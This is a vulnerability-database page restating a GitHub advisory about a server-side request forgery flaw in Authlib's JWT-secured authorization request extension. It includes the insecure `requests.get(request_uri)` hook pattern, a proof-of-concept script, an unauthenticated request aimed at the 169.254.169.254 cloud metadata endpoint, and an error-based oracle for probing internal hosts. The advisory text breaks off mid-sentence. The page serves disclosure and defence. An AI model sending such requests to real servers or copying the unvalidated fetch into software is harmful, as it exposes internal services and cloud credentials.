KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 16:01 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-114620

Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF

Authlib's RFC 9101 (JAR) extension passes the attacker-controlled `request_uri` authorization parameter straight to the `get_request_object()` fetch hook with no validation, at a pre-authentication endpoint.

At a glance

Exploited
Not known
Severity
5.4 Medium (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: authlib: 1.9.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-x4rv-c3wx-4cr8 (opens a new tab)

What happened

### Summary

Authlib's RFC 9101 (JAR) extension passes the attacker-controlled `request_uri` authorization parameter straight to the `get_request_object()` fetch hook with no validation, at a pre-authentication endpoint.

Authlib already defines the pre-registration allowlist for this (`request_uris` client metadata and `require_request_uri_registration` server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted `requests.get(request_uri)`. Deployments following the documented pattern get an unauthenticated SSRF primitive. ### Details

Verified against authlib 1.7.2 and current `main`. All line numbers below are from `authlib/oauth2/rfc9101/authorization_server.py`.

Continue reading

The extension registers itself on the `before_get_authorization_grant` hook (lines 62-65), so it runs on every authorization request before any user or client authentication. `support_request_uri` defaults to `True` (line 58).

The only gate before the sink is that `client_id` names an existing client (lines 91-103). A `client_id` is a public, non-secret identifier.

The sink at line 159 forwards the raw parameter with no scheme, host, or allowlist check:

```python def _get_raw_request_object(self, request: OAuth2Request) -> str: if "request_uri" in request.payload.data: raw_request_object = self.get_request_object( request.payload.data["request_uri"] ) if not raw_request_object: raise InvalidRequestUriError(state=request.payload.state) ```

`get_request_object` is abstract (line 213, `raise NotImplementedError()` at line 225), so authlib itself performs no outbound request. The defect is that authlib supplies unvalidated attacker input to that extension point and then documents the insecure implementation twice — in the class docstring (lines 34-38) and in the hook's own docstring (lines 218-223):

```python def get_request_object(self, request_uri: str): try: return requests.get(request_uri).text except requests.Exception: return None ```

Two points sharpen this beyond a generic documentation issue:

- **The allowlist already exists and is ignored.** Authlib validates `request_uris` as client metadata (`authlib/oauth2/rfc7591/claims.py:319`) and `require_request_uri_registration` as server metadata (`authlib/oauth2/rfc8414/models.py:263`). The `rfc9101` package contains zero references to either name, so the pre-registration model is never enforced at the point of use. - **RFC 9101 §10.4.

1 asks for controls that are absent.** It states the server should "a) check that the value of the `request_uri` parameter does not point to an unexpected location, b) check that the media type of the response is `application/oauth-authz-req+jwt`, c) implement a timeout for obtaining the content of `request_uri`, and d) not perform recursive GET on the `request_uri`."

The extension implements none of these and the documented example implements none of them either.

The two failure paths are distinguishable, which supplies the inference channel for a blind SSRF: a falsy fetch result raises `InvalidRequestUriError` (`invalid_request_uri`, lines 162-163), while a successful fetch of non-JWT content raises `InvalidRequestObjectError` (`invalid_request_object`, line 186).

### PoC

This demonstrates the library-level defect with no network egress required: it shows the unvalidated URI reaching the fetch hook pre-authentication.

```bash python -m venv .venv && .venv/bin/pip install authlib ```

```python from authlib.oauth2.rfc6749.requests import BasicOAuth2Payload, OAuth2Request from authlib.oauth2.rfc9101 import JWTAuthenticationRequest

reached = []

class Extension(JWTAuthenticationRequest): def get_request_object(self, request_uri): reached.append(request_uri) # the docstring puts requests.get(request_uri) here return None

def resolve_client_public_key(self, client): return {"keys": []}

def get_server_metadata(self): return {}

def get_client_require_signed_request_object(self, client): return False

class AuthorizationServer: def query_client(self, client_id): return object()

uri = "http://169.254.169.254/latest/meta-data/" request = OAuth2Request("GET", "https://as.example/authorize") request.payload = BasicOAuth2Payload({"client_id": "demo", "request_uri": uri})

try: Extension().parse_authorization_request(AuthorizationServer(), request) except Exception as exc: print("error:", type(exc).__name__)

print("fetch hook received:", reached) ```

Output on authlib 1.7.2:

```text error: InvalidRequestUriError fetch hook received: ['http://169.254.169.254/latest/meta-data/'] ```

Against a deployment that used the docstring implementation, the equivalent unauthenticated request is:

```text GET /authorize?response_type=code&client_id=demo&request_uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F ```

Returning a fetched-but-non-JWT body instead of `None` in the snippet above yields `InvalidRequestObjectError` rather than `InvalidRequestUriError`, showing the oracle that distinguishes a reachable target from an unreachable one.

### Impact

Server-side request forgery, reachable without authentication by anyone who knows a valid `client_id`. In a deployment that implemented `get_request_object` as documented, an attacker can make the authorization server issue GET requests to arbitrary URLs: internal-only services, cloud metadata endpoints such as `169.254.169.254`, and side-effectful internal GET routes.

The `invalid_request_uri` versus `invalid_request_object` split, together with response timing, provides an oracle for internal host and port discovery. RFC 9101 §10.4.1 additionally notes the DoS and recursive-lookup risks that the missing timeout and recursion checks leave open.

Response bodies are consumed as a JWT and never reflected, so this is a blind primitive rather than direct data exfiltration. Because the fetch executes in integrator code, deployments that already allowlist inside their override are unaffected — but au

Affected package ranges reported by GitHub: authlib: >= 1.6.0, < 1.9.0

Scores and how they were measured

CVSS base severity

5.4

Version 3.1As of

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-x4rv-c3wx-4cr8 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-x4rv-c3wx-4cr8, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF (CVE-2026-114620). https://kevwire.com/record/CVE-2026-114620

MLA

"Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF (CVE-2026-114620)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2026-114620.

Chicago

KEVWire. "Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF (CVE-2026-114620)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2026-114620.

Evidence summary (plain text)

Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF (Oct 27, 2026).
Authlib's RFC 9101 (JAR) extension passes the attacker-controlled `request_uri` authorization parameter straight to the `get_request_object()` fetch hook with no validation, at a pre-authentication endpoint. Authlib already defines the pre-registration allowlist for this (`request_uris` client metadata and `require_request_uri_registration` server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted `requests.get(request_uri)`. Deployments following the documented pattern get an unauthenticated SSRF primitive. 
### Details

Verified against authlib 1.7.2 and current `main`. All line numbers below are from `authlib/oauth2/rfc9101/authorization_server.py`.
CVSS 5.4 (version 3.1; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-x4rv-c3wx-4cr8).
Sources:
GitHub-reviewed advisory GHSA-x4rv-c3wx-4cr8: https://github.com/advisories/GHSA-x4rv-c3wx-4cr8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-114620.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail